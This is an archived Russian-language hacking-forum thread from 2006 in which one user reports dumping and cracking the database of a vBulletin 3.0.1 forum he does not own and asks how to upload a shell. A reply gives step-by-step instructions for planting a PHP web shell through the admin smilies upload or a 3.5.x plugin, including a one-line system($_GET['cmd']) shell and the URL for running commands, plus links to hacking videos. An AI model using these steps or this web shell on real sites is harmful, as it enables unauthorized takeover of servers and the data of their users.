PDA

Просмотр полной версии : взлом воблы 3,0,1(возникли трудности)


Fripe
05.11.2006, 00:08
имеецо форум который закрыт для юзеров типо ремонт и имеецо бд от него дампанутая чере3 301апгрейд
пасс из хеша подобрать пока не удалось

что можно попробовать заюзать в данном случае?
фича с форумдисплей (глобалс) не катит
как и дыра в миск пхп
:)

Fripe
05.11.2006, 21:18
имеецо форум который закрыт для юзеров типо ремонт и имеецо бд от него дампанутая чере3 301апгрейд
пасс из хеша подобрать пока не удалось

что можно попробовать заюзать в данном случае?
фича с форумдисплей (глобалс) не катит
как и дыра в миск пхп
:)
пароль я таки умудрилсо подобрать :)
как залить шелл моно?
через смайлы не получилось-инвалид файл тайп :D

Ksander
05.11.2006, 21:24
как залить шелл моно?



Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.


Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда



Видео по теме:

http://video.antichat.ru/file105.html
http://video.antichat.ru/file95.html
http://video.antichat.ru/file57.html
http://video.antichat.ru/file3.html

Utochka
05.11.2006, 21:53
тоже видео по теме: Получение шелла через багу в Vbulletin (http://hackedpro.org/forum/showthread.php?t=271)
http://hackedpro.org/forum/showthread.php?t=271